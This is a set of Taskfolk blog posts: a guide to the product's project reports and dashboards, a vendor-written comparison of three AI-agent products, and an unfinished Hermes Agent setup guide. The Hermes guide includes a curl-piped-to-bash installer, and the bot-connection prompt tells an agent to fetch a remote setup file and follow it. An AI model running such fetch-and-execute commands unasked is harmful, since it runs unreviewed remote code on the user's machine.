one thing a clean board can't answer: is the team actually on track, or did this week just break your way? A tidy board is not a healthy project. To know the difference you need the numbers, and in Taskfolk the numbers behind project management reports and dashboards live in three specific places you can open right now. This walkthrough uses the demo project WEB as the running example. By the end you'll open a Summary dashboard and read it in under a minute, tell the three reporting surfaces apart, read a burndown and a cycle-time histogram without fooling yourself, switch the reporting window, export a CSV, and use the workload and overdue views to fix real problems instead of admiring charts. ## What you'll learn - Open your project's Summary dashboard and read the Open / Done / Done % KPIs and the Status donut fast. - Tell the difference between the Summary snapshot, the nine Reports cards, and workspace-wide Insights, and know which one answers which question. - Read a sprint burndown, a cycle-time histogram, and a throughput chart correctly, with the honest limit on each. - Switch the Week / Month / Quarter window on Reports and Insights, and export any report card as a CSV. - Use the Workload and At risk / Overdue cards to act on what's actually wrong. ## Where project management reports and dashboards live in Taskfolk Here's what trips people up on day one: project management reports and dashboards in Taskfolk are not one screen. They are three surfaces, each answering a different question. Reaching for the wrong one is exactly why people say "I can't find the report I want." | Surface | Where | Question it answers | Window | |---|---|---|---| | Summary | `/w//p//summary` | How is this one project doing right now? | Live, recomputed every load | | Reports | `/w//p//reports` | How is this project trending? | Week, Month, or Quarter | | Insights | `/w//insights` | How is my whole team doing? | Week, Month, or Quarter | First is the **project Summary**. A whole-project snapshot. It's server-rendered and marked force-dynamic, which is the technical way of saying it recomputes on every load. What you see is current, not a cached guess from an hour ago. Second is the project **Reports** page. Nine analytics cards plus a KPI row. It answers "how is this project trending over the last week, month, or quarter?" It's on every plan, and I'll come back to that because there's a stubborn myth that Reports costs extra. Third is workspace **Insights**. Cross-project. It answers "how is my whole team doing across everything I can see?" When a lead asks who is overloaded across four projects at once, this is the surface, not Summary. Rule of thumb: one project right now is Summary. One project over time is Reports. All projects, team health, is Insights. We'll open all three against WEB. ## Reading the Summary dashboard at a glance Open `/w/taskfolk/p/web/summary`. Start at the top, because the top is built to be read in about ten seconds. The header is a KPI trio. **Open** is total issues minus done minus cancelled, so it's the work genuinely still in flight, not padded by tickets you already killed. **Done** is a straight count of completed issues. **Done %** is done divided by total, rounded. Those three numbers are the fastest honest read on the project you'll get anywhere in the product. ![The top of the WEB project Summary dashboard showing the Open / Done / Done% KPI trio, the Status donut with its color-keyed legend, and the By type and By priority breakdown meters. This is what a project dashboard looks like at a glance and the first thing you read.](/images/blog/project-reports-and-insights-summary-overview.webp) Below the KPIs sits the **Status** donut, a live picture of every non-deleted, non-archived issue grouped by status, with the total count printed in the center of the ring and a color-keyed legend beside it. One nice detail: only statuses that actually have issues get drawn, so you never see a dead zero-width sliver cluttering the chart. The colors are the per-status brand tokens you already know from the board (backlog, to do, in progress, in review, done, cancelled, failed), so the donut reads the same way your columns do. Under the donut are two breakdown cards, **By type** and **By priority**. These are horizontal progress-meter bars, not a chart library, scaled so the largest bucket fills the row and everything else reads as a proportion of it. By type covers Epics, Stories, Tasks, Bugs, and Subtasks. By priority runs critical, highest, high, medium, low, lowest. This is where a bug-heavy sprint or a stack of untriaged critical tickets jumps out at you. What does good look like here? By the last day of a sprint you want a fat Done slice and a thin Backlog. If Backlog is still the biggest slice at the end, the sprint was over-committed, and the donut told you before anyone had to admit it out loud. ## Who is overloaded: the Workload and Velocity cards Scroll down. The **Workload** card (its subtitle reads "open issues") lists each assignee with their avatar and their count of open issues, busiest person first. When an assignee's open issues carry time estimates, you also get an "Xh / Yh estimated" figure, so you see hours and not just ticket counts. An **Unassigned** bucket at the bottom holds work nobody owns yet. When the project is genuinely clear, the card reads "Everyone's caught up." One caveat that matters: Workload is a point-in-time snapshot of current open work. It is not scoped to any date range. It answers "who is holding the most open work right now," full stop. If you want a period-based view, you're on the wrong card, and the Reports section below covers what is period-scoped and what isn't. Next to it, the **Velocity** card shows six calendar-week bars of issues that reached Done, each bucket aligned to its week start on a Monday and labelled by that date. This is a fixed six-week window. It does not respond to any period selector, because Summary has no period selector at all. That control only lives on Reports and Insights. So Velocity here is always the last six weeks, no more, no less. The **Recently completed** card lists the last six issues that hit Done, newest first, each a deep link with a relative timestamp so you can click straight through to "what did we just finish." Handy for a standup: open Summary, read the last six things off the card, move on. If you want velocity to mean something rather than just watching a bar move, the mechanics of running the cycle that feeds it are worth reading: [how to run a sprint](/docs/how-to-run-a-sprint). Internalize one rule now, because it recurs everywhere in reporting. "Completed" means status Done only. Issues you cancelled or that failed are resolved, but they are not completed, so they never count toward velocity. That's deliberate. It keeps the number honest. ## The cards that say act now: At risk / Overdue and Recent activity Charts tell you the shape of things. The next two cards tell you what to do this afternoon. The **At risk / Overdue** card lists open issues that are already overdue or due within the next three days, soonest deadline first, up to 100 rows. The header carries two tallies, "N overdue" and "N due soon," and here's the well-built part: those counts are computed in SQL over the full set, not from the visible rows. So even if the list truncates at 100, the header still gives you the true totals. If it says 40 overdue and you only see 100 rows, you're not missing the count, only the tail of the list. This is the card you scan first thing Monday. Say WEB has a ticket like "Timeline + Summary tab" sitting overdue at the top of the list. That's not a chart to admire. That's a conversation to have with its assignee before lunch. The **Recent activity** feed underneath shows the eight latest events: who created something, changed a status, set a priority, renamed a ticket, assigned or unassigned it, commented, or deleted a comment. Each event carries the actor's avatar and a deep link to the issue. Between At risk and Recent activity you get the two halves of a working dashboard that happen to be lists, not graphs: what's going wrong, and what just happened. ## Sprint burndown and cycle time: the harder charts Two cards reward a bit of study, Sprint burndown and Cycle time, because both are easy to misread if you don't know how they're built. The **Sprint burndown** card is a real Recharts line chart. It plots remaining work against an ideal reference line for the active sprint, or the most recent active or completed one if none is running now. Two KPI tiles sit beside it, **Committed** and **Remaining**. The unit is smart: if any issue in the sprint carries an estimate, the chart measures in estimate minutes; if none do, it falls back to a plain issue count. No sprints in the project? The card shows "Start a sprint to see a burndown" and nothing else, because there's genuinely nothing to draw. ![The Sprints page in Taskfolk, where sprints are created and started. Burndown, velocity, and the current-sprint cards all stay empty until a project actually runs sprints from here.](/images/blog/how-to-run-a-sprint-sprints-page.webp) How do you read it? The ideal line is the straight glide from full commitment down to zero across the sprint. Your actual remaining-work line should track near it. When your line sits stubbornly above the ideal for days, you're behind, and the flat stretches show where nothing closed at all. A burndown that stays high and then plunges over the last two days is not a healthy sprint. It's a sprint where everything got marked done at the buzzer. The chart makes that pattern impossible to hide. The **Cycle time** card is a bespoke histogram. Three KPIs up top, **Median**, **p75**, and **Sample**, then a distribution across fixed buckets: under 1 day, 1 to 3 days, 3 to 7 days, 1 to 2 weeks, and 2 weeks plus. Read the footnote, because the measurement basis is auto-chosen: ```mermaid flowchart TD A[Sample the 5000 most recently resolved issues] --> B{At least half have a recorded move into In Progress?} B -- yes --> C[Measure first In Progress to Done] B -- no --> D[Measure creation to Done, which is lead time] C --> E[Footnote states the basis used] D --> E ``` The footnote states which basis was used, so never assume it's fixed. The sample is capped at the 5000 most-recently-resolved issues, representative rather than an exhaustive scan on a huge project, and Median and p75 are computed over that sample. The practical read: median tells you the typical ticket, p75 tells you the slow tail. If median is two days but p75 is two weeks, most work moves fast and a minority is getting stuck, and that gap is the thing to investigate. If you're planning sprints and want to reason about what your cycle time implies for commitment, this pairs with [what actually works in AI sprint planning](/blog/ai-sprint-planning-what-works). ## The Reports page: nine cards and the Week / Month / Quarter window Now open `/w/taskfolk/p/web/reports`. First, kill the myth. **Reports are not paywalled.** They ship on every plan. There's a leftover, unused string in the codebase that once read "Reports are a Pro feature," but the page itself, and its own header comment, state plainly that reports are available on every plan. If anyone tells you that you need Pro or Business to see reports, they're wrong. ![Project reports and insights - reports grid](/images/blog/project-reports-and-insights-reports-grid.webp) At the top of Reports is the **Period** selector: **Week** (7 days), **Month** (30 days, the default), and **Quarter** (90 days). It's URL-driven via `?period=`, so any window is a shareable link, and it drives every card and KPI on the page. The KPI overview row gives you five numbers, four with a trend arrow comparing against the previous period. **Open**, **In progress**, **Completed** (green when up), **Created** (also trended), and **Median lead time** in days. When there's no prior period to compare against, you get a "new" badge instead of an arrow. That's honest, rather than showing a fake zero baseline. Below that is the grid of nine cards, each with brand art, an inline chart, a one-line plain-language insight, and a **Download CSV** button: - **Velocity**, committed vs completed per sprint. - **Sprint burndown**, remaining vs ideal. - **Cumulative flow**, status mix and WIP over time. - **Burnup**, done work against growing scope. - **Cycle time**, how long issues take to finish. - **Throughput**, created vs resolved per week. - **Status breakdown**, issues created in the period by status. - **Type breakdown**, issues created in the period by type. - **Workload**, open issues by assignee. A detail that saves clicks: the segments in the breakdown and workload cards are links. Click a status, type, or assignee segment and you land in the project List view already filtered to it. A report isn't a dead end. It's a jumping-off point into the actual tickets. ![The project List view with filters applied. Clicking a status, type, or assignee segment on a report card lands here, already filtered to the tickets behind that segment.](/images/blog/how-to-filter-and-sort-issues-overview.webp) ## What each report answers, and exporting to CSV Set the window to Quarter and walk the cards, because the differences between them are exactly where people misread the data. **Cycle time** answers how long issues take to finish, same basis logic as the Summary card. **Throughput** plots created vs resolved per week, and reading the two lines together is the whole point: if created keeps outrunning resolved, your backlog is quietly growing no matter how busy the team looks. Now the trap. **Status breakdown** and **Type breakdown** count issues *created within the selected period*. **Workload** is point-in-time, current open work, not period-scoped. So on a Quarter window, Type breakdown means "what did we open in the last 90 days," while Workload means "what's open right now." Mixing those two up is the single most common reporting mistake. Now you won't make it. **Cumulative flow** and **Burnup** need a fair warning. Both depend on daily status snapshots captured by a background worker. Only today's point is live: ```mermaid flowchart LR W[Background worker] -->|captures daily| S[Status snapshots] S --> C[Cumulative flow] S --> B[Burnup] T[Today] -->|live point| C T -->|live point| B ``` A brand-new project, or one with no captured history yet, shows just a single point until snapshots accumulate over the following days. That's not a bug and not a broken chart. It's a diagram that needs history to exist before it can draw a trend. Give it a few days. Every card has **Download CSV**, and the export is built right in the browser from data the page already computed, so it's instant, with a filename like `--.csv`. A WEB throughput export on the Quarter window comes down as something like `web-throughput-90d.csv`, ready to drop into a spreadsheet. And if you'd rather automate it, the same computed payloads are readable per report over the public v1 API, in JSON or CSV, so you can pull a project's numbers into your own tooling without scraping a page. The nine report ids the endpoint accepts: ```json ["velocity", "burndown", "cumulative-flow", "burnup", "cycle-time", "throughput", "status-breakdown", "type-breakdown", "workload"] ``` Fetching one takes a single GET with an API key that has the `projects:read` scope. With curl: ```bash curl -H "Authorization: Bearer tfk_live_xxxxxxxx" \ "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/reports/throughput?period=90d" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/reports/throughput?period=90d", { headers: { Authorization: "Bearer tfk_live_xxxxxxxx" } }, ); const { data } = await res.json(); console.log(data); ``` ```python import requests r = requests.get( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/reports/throughput", headers={"Authorization": "Bearer tfk_live_xxxxxxxx"}, params={"period": "90d", "format": "csv"}, ) open("web-throughput-90d.csv", "w").write(r.text) ``` `period` accepts `7d`, `30d`, or `90d` and defaults to `30d`, matching the Week / Month / Quarter selector on the page. Once you can read throughput and cycle time honestly, the natural next move is fixing what they reveal, and a lot of that starts with what you choose to work on: [how to prioritize your backlog](/docs/how-to-prioritize-your-backlog). ## Stepping up to workspace Insights: team health across projects One project is a narrow view. When you lead more than one, open `/w/taskfolk/insights`. Insights is a cross-project aggregate over every project you can reach, with the same Week / Month / Quarter selector you know from Reports. ![Project reports and insights - insights analytics](/images/blog/project-reports-and-insights-insights-analytics.webp) The **Analytics** tab opens with five KPIs spanning all your projects at once: **Open work**, **In progress**, **Completed**, **Velocity /wk**, and **Median lead time**. Below them: a **Throughput** bar chart (created vs completed per week), an **Open work by status** donut, a **Created vs resolved** cumulative line showing work opened against work closed over time, an **Aging of open work** bar chart bucketed by <1 week, 1-2 weeks, 2-4 weeks, 1-2 months, and >2 months, and a **Work by type** distribution. Aging is the sleeper chart here. It answers a question no single-project view asks well: how long has your open work been sitting? A tall ">2 months" bar means you have stale tickets rotting across projects, the kind that quietly never close. Better to see that stacked up in one place than to discover it project by project, one surprise at a time. Two honesty notes about scope. Insights is workspace-wide but hidden from guests entirely; they get a 404. And what you see depends on your role: owners and admins see every project, while members and viewers see only projects they can reach. So the aggregate reflects what *you* can reach, not necessarily the entire workspace. If your numbers look smaller than a colleague's, that's usually why, and it's by design rather than a discrepancy. ## Capacity planning: reading Open / total across the team Switch to the **Capacity** tab. This is the one to open before you commit a sprint, not after. Capacity shows open-work load per assignee across all your reachable projects: **Open work** bars plus an **Open / total** column, and when issues carry estimates it becomes "Open / total · est." with hours. There's an **Unassigned** row for open work nobody owns. It lists the busiest 20 assignees, stated plainly on the card as "Showing the busiest 20 assignees." Use it like this. Before you assign the next batch of tickets, glance down the Open work bars and find the person already carrying, say, 15 open items. That's the moment to not hand them the sixteenth. Capacity turns "I think Sara is busy" into "Sara has 15 open across three projects and 22 estimated hours," which is a much harder thing to argue with in planning. Same two caveats as Workload, worth repeating because they're easy to forget: Capacity is a point-in-time snapshot of current open work, not period-scoped, and it caps at 20 assignees, so it isn't a full roster. It's a "who is loaded right now" view, which is exactly what capacity planning needs. If you're pairing this with a pull-based flow where people take work rather than get assigned it, [how to use a kanban board](/docs/how-to-use-a-kanban-board) is the companion piece. ## The limits worth knowing before you trust a number Every reporting tool has edges, and a report you trust blindly is more dangerous than no report. Here are the honest constraints, so you know when a number is telling the whole truth and when it isn't. | Limit | What it means in practice | |---|---| | No custom report builder | The nine cards are opinionated defaults; you can't assemble your own. | | No custom date range | Only 7, 30, and 90 days. "Last fiscal quarter to the exact date" isn't a thing here. | | No scheduled email | If you want a cadence today, pull the data over the public API. | | ~2 minute cache | A change from thirty seconds ago may lag briefly. Summary is the exception; it recomputes every load. | | Snapshot-dependent charts | Cumulative flow and Burnup show a single point on a new project until daily history builds up. | | Sprint-dependent charts | Velocity, Sprint burndown, and the current-sprint cards stay empty without sprints. | The most important one to keep in your head: **Completed means status Done only.** Cancelled and failed issues are resolved but not completed, and they're excluded from throughput, velocity, cycle time, and the Completed KPI. Cancelled work still appears as its own slice in the status donut, so it stays visible; it just doesn't inflate your throughput. That's the right call. A team that cancels ten tickets did not ship ten tickets. **Cycle time** is sampled at the 5000 most-recently-resolved issues, and its basis is auto-chosen between In-Progress-to-Done and creation-to-Done, with the footnote telling you which. So on a very large project it's a representative sample, not a full census, and the basis isn't a fixed thing you can assume. And **Workload and Capacity** are point-in-time, never period-scoped, so don't read them as "this month's load." None of these are reasons to distrust the numbers. They're the difference between reading a chart and understanding it. Open your own project's Summary dashboard and read the top three KPIs. That's a good first minute, and everything above tells you where to look next. --- # Meta Muse vs Grok Bots vs Taskfolk Bots URL: https://taskfolk.ai/blog/meta-muse-vs-grok-bot-vs-taskfolk-bots Published: 2026-09-24 Author: The Taskfolk team Tags: AI agents, comparison, AI agent management, human in the loop, agentic project management, Claude Code Meta Muse, Grok Bot and Taskfolk Bots all give you an AI agent you can chat with. Where each one runs, what it remembers, and which fits a team. Three companies shipped the same idea within a few weeks of each other: an AI agent you talk to like a coworker, that remembers you, asks before it does anything scary, and keeps working when you close the app. xAI opened [Grok Bot](/blog/grok-bot-project-management) on August 11, 2026. Meta Muse followed on September 8. We shipped Taskfolk Bots this week. They look alike in a screenshot. A chat on one side, a name and an avatar, an approval button somewhere. Underneath they make very different bets about three things: whose computer the agent runs on, who else can see what it does, and what it is for. Pick the wrong one and you end up with a smart assistant that has no idea your team exists, or a team tool that cannot book you a table for Friday. This comparison is written by the people who build one of the three, so read it with that in mind. We have tried to be exact about the other two and honest about where ours falls short. ## The short version If you only read one line: Meta Muse is a personal agent, Grok Bot is a set of cloud teammates, and Taskfolk Bots are the agents you already run, given a desk in your project tool. | | Meta Muse | Grok Bot | Taskfolk Bots | |---|---|---|---| | Built for | One person's life admin | A person or team that wants several named AI teammates | A team whose AI agents work on shared projects | | How many agents | One personal agent | A roster of Bots (about 50 per account) | One bot per connected AI agent, as many as your team runs | | Where it runs | A cloud VM Meta runs for you | One cloud computer xAI (on Cursor's infrastructure) runs, shared by all your Bots | Your own machine: the Claude Code, Codex or Cursor you already use | | Memory you can read and edit | Yes (memory, soul and identity files) | No documented memory viewer | Yes, per bot, and the bot writes it through its API | | Approvals | Native dialogs from a separate "Sentinel" agent | Allow once / Always allow / Deny in chat, plus model-based Auto Review | Allow once / Always allow / Deny cards in the bot's chat | | Schedules | Reminders and recurring tasks | Routines owned by a Bot | Routines owned by a bot | | Team features | None published | Group chats of 2 to 6 Bots, admin rules on Teams and Enterprise | Every bot is a workspace member with issues, sessions, cost and an audit trail | | Price | Free tier, Power $20/month, Maximum $100/month | Included in paid Cursor plans or linked SuperGrok and X Premium+ plans | Bots are free on every plan; they never count as paid seats | ## Meta Muse: one agent that knows your life Meta calls Muse "a personal AI agent. It doesn't just answer questions, it actually does the work." It launched in the US on September 8 on iOS, Android, the web at muse.ai and inside WhatsApp, reached Canada on September 18, and got a Mac app the same week. It runs on Meta's Muse Spark 1.3 model. You get one agent. You name it (a CNN reviewer called theirs Pip), it gets an animated avatar, and it learns about you over time. The part we like: Meta lets you open its memory, soul and identity files and edit or delete what is in them. That is more transparency than most agents offer. Muse does its work on a dedicated cloud VM Meta runs for each user, with a real browser. It fills forms, sends email, books restaurants and can pay through Stripe Link with one-time cards. Meta's security write-up describes a second agent, Sentinel, that sits between Muse and the outside world and is the only thing allowed to approve connector actions. Grants can be one-time, per session, per task, time-bounded or permanent. Connectors lean consumer: Gmail, Google Calendar, Outlook, OpenTable, Spotify and a set of shops. GitHub and Notion arrived at Meta Connect on September 23, and there is now a developer platform where third parties submit connectors for review. What Muse does not have is a team. There are no shared workspaces, no group chats with other agents and no admin console. It is built to run your errands, and reviewers say it is good at that, with the usual slips: CNN got restaurant suggestions for places that had closed years ago, and Slate watched a flight booking fail after half an hour. ## Grok Bot: a roster of teammates on one cloud computer Grok Bot, in beta since August 11, treats agents as a roster. You create Bots with a name, a job and a description, and each gets its own conversation. xAI's docs call a Bot "a durable AI teammate with a name, a job, its own conversation, and working context that develops over time." The chat is well designed. A Bot's avatar animates through idle, thinking, working, waiting, blocked and done. Approval requests come up as cards with Allow once, Always allow and Deny, and an Auto Review model can wave through actions that match your rules. Routines are attached to a Bot and run on a schedule. You can put 2 to 6 Bots in a group chat and they hand work to each other. Two design choices matter for teams. First, every Bot on an account shares one cloud computer, with the same files, browser sessions and logins. xAI is blunt about it: "Do not use separate Bots as a security boundary." Second, xAI's designers deliberately left out task lists, boards and dashboards. A chat message is the task, and the transcript is the record. Access comes with paid Cursor plans (Pro, Pro+, Ultra and Teams) or by linking a SuperGrok or X Premium+ subscription, with weekly usage limits and on-demand billing after that. It is growing fast: Bloomberg reported more than 400,000 weekly users in its first month. We wrote a longer guide to [running Grok Bot against a real project](/blog/grok-bot-project-management) if you already use it. ## Taskfolk Bots: the agents you already run, with a desk Taskfolk Bots start from a different assumption: your team already has AI agents. Someone runs Claude Code, someone else lives in Codex or Cursor. The problem is not getting an agent. It is that each one works in a private terminal, and the rest of the team only finds out what it did when the pull request lands. So Taskfolk does not run your bot. You connect the agent you already use, and it becomes a bot in your workspace: a named member with its own chat, job label, instructions, memory and API key. ![The Taskfolk Bots page: a roster of four bots with live status, a conversation with Release Bot asking to approve a branch cleanup, and the bot's memory on the right](/images/blog/meta-muse-vs-grok-bot-vs-taskfolk-bots-bots-page.webp) The left rail shows every bot and what it is doing right now. The middle is your conversation with the selected bot. The right side holds its profile, memory, routines, assigned work and access settings. The same conversation also shows up in team chat, so nothing lives in a separate app. Because each bot is a workspace member, it can be assigned issues, move them through your board, report its sessions and costs, and every change it makes is attributed to it. That is the part the other two do not try to do. We wrote about why that record matters in [keeping an audit trail of AI agent changes](/blog/keep-an-audit-trail-of-ai-agent-changes). ## Where the agent actually runs This is the biggest difference, and it decides most of the others. ```mermaid flowchart LR M1["You"] --> M2["Meta Muse"] --> M3["A Meta cloud VM"] G1["You"] --> G2["Grok Bots A, B, C"] --> G3["One shared cloud computer"] T1["Your team in Taskfolk"] --> T2["A Taskfolk bot"] --> T3["Your own Claude Code or Codex"] ``` Muse and Grok Bot rent you a computer. That is convenient: nothing to install, and the agent keeps going when your laptop is shut. The cost is that the agent works somewhere you cannot see, with logins you handed over. Taskfolk Bots run where your agent already runs. For Claude Code, a small script pushes messages from the bot's chat into your open session and sends replies back. Other agents check their inbox through our MCP server. Your code, your terminal and your credentials stay on your machine, and Taskfolk only sees what the bot reports. The honest downside: a bot only answers while its agent is running. Close the Claude Code session and the bot's messages wait in its inbox until you start it again. If you want an agent that works while your laptop is asleep, Muse and Grok Bot are built for that and we are not. ## Memory All three remember things. They differ in whether you can see what was remembered. Muse is the most open of the consumer products here: its memory files are visible and editable. Grok Bot keeps per-Bot memory automatically, but xAI documents no screen for reading it. You correct it by telling the Bot in chat. ![A Taskfolk bot's memory tab: release preferences and project facts the bot saved, with the last update time](/images/blog/meta-muse-vs-grok-bot-vs-taskfolk-bots-memory.webp) A Taskfolk bot's memory is a plain Markdown note in its details panel. The bot writes it itself through the `update_my_memory` tool as it learns how your team works, and it loads the note at the start of every session. Anyone who manages the bot can read it, correct it or clear it. Instructions are kept separate: those are the standing rules a human writes, like "never push to main without asking." ## Asking before it does something risky The question is who gets asked, and where. Muse routes every connector action through Sentinel and shows approvals as native dialogs. Grok Bot shows approval cards in chat and can hand routine calls to Auto Review. Both are good answers for one person approving their own agent. ![An approval card in a Taskfolk bot's chat: Release Bot asks to delete seven merged release branches, with Allow once, Always allow and Deny](/images/blog/meta-muse-vs-grok-bot-vs-taskfolk-bots-approval.webp) In Taskfolk the card lands in the bot's conversation and the roster flags the bot as needing you. Its owner or a workspace admin decides. Always allow saves a rule for that tool, so the bot stops asking about it. With Claude Code, the prompts Claude Code already raises are relayed to the same cards, so you can approve from your browser instead of the terminal. If someone answers in the terminal instead, the card closes as soon as Claude Code moves on to its next prompt or the session ends. We cover the pattern in more depth in [human in the loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). ## Schedules All three can run something on a timer. Muse has reminders and recurring tasks in an Upcoming tab. Grok Bot has routines that belong to a Bot, with test runs and run history. ![A Taskfolk bot's routines: Friday release notes every Friday at 16:00 and a weekday morning build check, each with Run now](/images/blog/meta-muse-vs-grok-bot-vs-taskfolk-bots-routines.webp) Taskfolk routines work the same way. A routine is a prompt and a schedule (hourly, daily, weekdays or weekly, in your time zone). When it is due, the prompt is posted into the bot's chat and lands in its inbox. A bot can also create a routine when you ask for one in plain words, and a card in the chat tells you it did. ## Price - Meta Muse: free with a usage cap Meta has not published, Power at $20 a month, Maximum at $100 a month. - Grok Bot: included with paid Cursor plans, or unlocked by linking SuperGrok or X Premium+, with weekly usage and on-demand billing beyond it. - Taskfolk Bots: free on every Taskfolk plan. Bots never count as paid seats ([here is why](/blog/do-ai-agents-count-as-seats)). You pay your model provider for the agent's tokens, as you already do, and the bot can report that spend so you see it per bot. ## Which one should you use? Use Meta Muse if you want one assistant for your own life: email, bookings, shopping, reminders. It is not trying to work with a team, and that is fine. Use Grok Bot if you want several AI teammates that do their work in the cloud, you are comfortable with them sharing one computer, and a chat transcript is enough of a record for you. Use Taskfolk Bots if your team already runs coding agents and the pain is coordination: who is working on what, what did the agent change, and who approved it. You keep the agents you have and give them a shared place to take work, report progress and ask permission. They can also coexist. A Grok Bot or a Hermes agent can report into Taskfolk over the API, the same way we described in [our Hermes Agent guide](/blog/hermes-agent-project-management). ## Connecting your first bot Open Bots in your workspace and choose Connect a bot. Name it and pick the agent it runs on. Taskfolk then gives you one prompt to paste into that agent. ![The Connect a bot dialog: one prompt to paste into Claude Code, with the bot's key already in it, and a live "waiting for the bot to connect" line](/images/blog/meta-muse-vs-grok-bot-vs-taskfolk-bots-connect.webp) ```text Set yourself up as my Taskfolk bot "Release Bot". Read the setup guide with your shell (curl -fsSL https://taskfolk.ai/agent/connect.md) and follow it, using: TASKFOLK_URL=https://taskfolk.ai TASKFOLK_WORKSPACE=your-workspace TASKFOLK_API_KEY=tfk_live_... ``` The agent reads the guide and sets itself up: it checks the key, installs Taskfolk's MCP server for the tool it is running in, and says hello in its Taskfolk chat. The dialog shows when it has reached Taskfolk. Claude Code needs one restart at the end, because its chat channel is still a research preview that loads only at startup; the bot's hello gives you the exact command. The full walkthrough is in [how to connect an AI agent](/docs/how-to-connect-an-ai-agent). Then send it a message. If it answers, you have a bot. --- # How to use Hermes Agent for project management URL: https://taskfolk.ai/blog/hermes-agent-project-management Published: 2026-08-29 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, MCP, task management, AI agent management, automation, how-to Hermes Agent remembers everything but holds no plan. How to connect it to a real board over MCP: tickets from chat, a morning digest, triage, and delegation. Hermes Agent might be the first AI agent people describe like a pet. It lives on your own server, you talk to it on Telegram or WhatsApp, it remembers your preferences across months of conversations, and it quietly teaches itself new skills after finishing hard tasks. Ask around its enormous community and you will hear the same story: within a few weeks it has become the default place you throw every "can you handle this?" in your working day. Which is exactly when the project management problem shows up. Your agent knows about the invoice bug because you mentioned it on Tuesday from your phone. It remembers the deploy you postponed and the client feedback you pasted in. All of that lives in one place: its memory, on your box, readable by exactly one person. Your teammates cannot see the agent's TODO list. You cannot prioritize what exists only as a conversational thread. Hermes has a perfect memory and no plan, and those are different things. This guide wires the two together: Hermes Agent as the always-on assistant it already is, plus a real board it reads and writes over MCP, so the tasks it collects from your chats become tickets a team can see, and the work you delegate to it becomes sessions you can supervise. The board here is Taskfolk; the facts about Hermes are as of late August 2026. ## What Hermes Agent is [Hermes Agent](https://github.com/NousResearch/hermes-agent) is Nous Research's open-source autonomous agent, launched in February 2026 under MIT and now sitting around 238,000 GitHub stars, which puts it among the most-starred AI projects in existence. The design is deliberately un-cloudlike: it installs on your own machine, from a $5 VPS to a workstation, keeps everything local with no telemetry, and runs on whatever model you point it at (Nous Portal, OpenRouter, OpenAI, Anthropic, DeepSeek, or a local model through Ollama; `hermes model` switches without config surgery). ```bash curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash source ~/.bashrc hermes # interactive setup on first run ``` Three design choices matter for this guide. First, the gateway. `hermes gateway` connects one agent process to Telegram, Discord, Slack, WhatsApp, Signal, email, and more, with conversation continuity across all of them. The agent is where you already are, which is why work accumulates in it so fast. Second, memory and skills. Conversations persist with full-text search and summarization, the agent builds a model of you over time, and after finishing complex tasks it writes itself a skill, a reusable procedure stored under `~/.hermes/skills/`, following the agentskills.io open standard. Hermes genuinely gets more capable the longer it runs. Third, the scheduler. A built-in cron accepts natural language ("every weekday at 8am, do X and send it to me on Telegram") and delivers to any connected platform, unattended. Add subagents for parallel work and MCP support for external tools, and you have a competent operations sidekick that costs whatever your VPS and tokens cost. ## Why a perfect memory still is not a tracker It is tempting to stop there and let Hermes be the system. It remembers everything; is that not what a tracker does? No, and the difference is structural, not a missing feature. Hermes memory is private by design. Local-first, no cloud, one owner: the properties that make it trustworthy are the properties that make it invisible to your team. A tracker's whole job is the opposite: shared state someone else can read without asking you. Memory is also retrospective. It answers "what did we say about the invoice bug?" superbly. It does not hold "the invoice bug is In Progress, assigned to Sara, due Thursday, blocking the release," because that is not a conversation, it is state, with an owner and a priority that a human deliberately set. Skills have the same shape problem from the other side: a skill is how to do something, not whether anyone decided it should be done this sprint. And when you run Hermes alongside other agents, a Claude Code session on the repo, a second Hermes for ops, the private-memory model gives them no shared claim. Nothing stops two agents from both "remembering" they should handle the same task. The coordination surface has to live outside any one agent's head. That is the board: memory for context, [a shared backlog for state](/blog/shared-backlog-for-ai-coding-agents), and no confusion about which is which. ## Connect Hermes to the board Two steps, both on surfaces built for exactly this. First, mint the identity. In Taskfolk, open Bots in the sidebar, Connect a bot, name it ("Hermes", or the name you actually call it), pick Custom agent as the tile, and copy the API key from the one-time reveal. That creates a real workspace member: an agent-flagged user with a scoped write key whose authorship attributes every call to the agent by name. It never counts as a billed seat. The full flow, including what gets created and why, is in [how to connect an AI agent](/docs/how-to-connect-an-ai-agent). Second, add the MCP server to `~/.hermes/config.yaml`: ```yaml mcp_servers: taskfolk: url: "https://taskfolk.ai/api/mcp/v1" headers: Authorization: "Bearer " timeout: 180 ``` Restart Hermes or run `/reload-mcp` in an active session, and the Taskfolk tools appear in its registry next to the built-ins. The tool catalogue is generated from the REST API's OpenAPI registry, over 180 operations, so the agent can do essentially anything a member can do, filtered by the key's scope. If you ever want raw REST instead, the same key works for both; [MCP or REST for your agent](/blog/mcp-or-rest-api-for-your-agent) is the comparison. One optional third step that fits Hermes unusually well: give it the skill, not just the tools. Taskfolk publishes an agent-skills discovery index at `/.well-known/agent-skills/index.json` (the agentskills.io schema Hermes skills already follow) and a workspace-customised `SKILL.md` bundle from the developer console's Skills tab. Drop that file into `~/.hermes/skills/`, and Hermes knows your board's shape, your project keys, your conventions, as a procedure it loads when relevant instead of context you re-explain. [Installing Taskfolk as an agent skill](/docs/how-to-install-taskfolk-as-an-agent-skill) covers what the bundle teaches. ![The Taskfolk Bots page after connecting: the sessions list with live state badges and the connected agents directory with name, owner, status, and key prefix.](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) ## What this unlocks, concretely The point of the pairing is not that Hermes gains a database. It is that the stuff already flowing through your chats starts landing somewhere a team can act on. Four patterns carry most of the value. **Tickets from anywhere you talk.** You are on WhatsApp, a client reports a bug, you forward it to Hermes: "make a ticket in WEB, bug, high priority, quote the report in the description." Ten seconds later there is a `WEB-244` with a clean title, the quote, and your name on the report, because the agent filed it through its own identity on a board your team watches. The friction that used to stand between "someone mentioned a problem" and "the problem is tracked" is gone, and with it the class of work that lived only in your memory of a chat. ![The New issue dialog with the Work type selector, where the Parent epic picker appears for every non-epic type](/images/blog/how-to-create-an-issue-new-issue-dialog.webp) **A morning digest, on your platform, on schedule.** This is where the natural-language cron earns its place: ```text Every weekday at 7:45, list my Taskfolk board: what moved 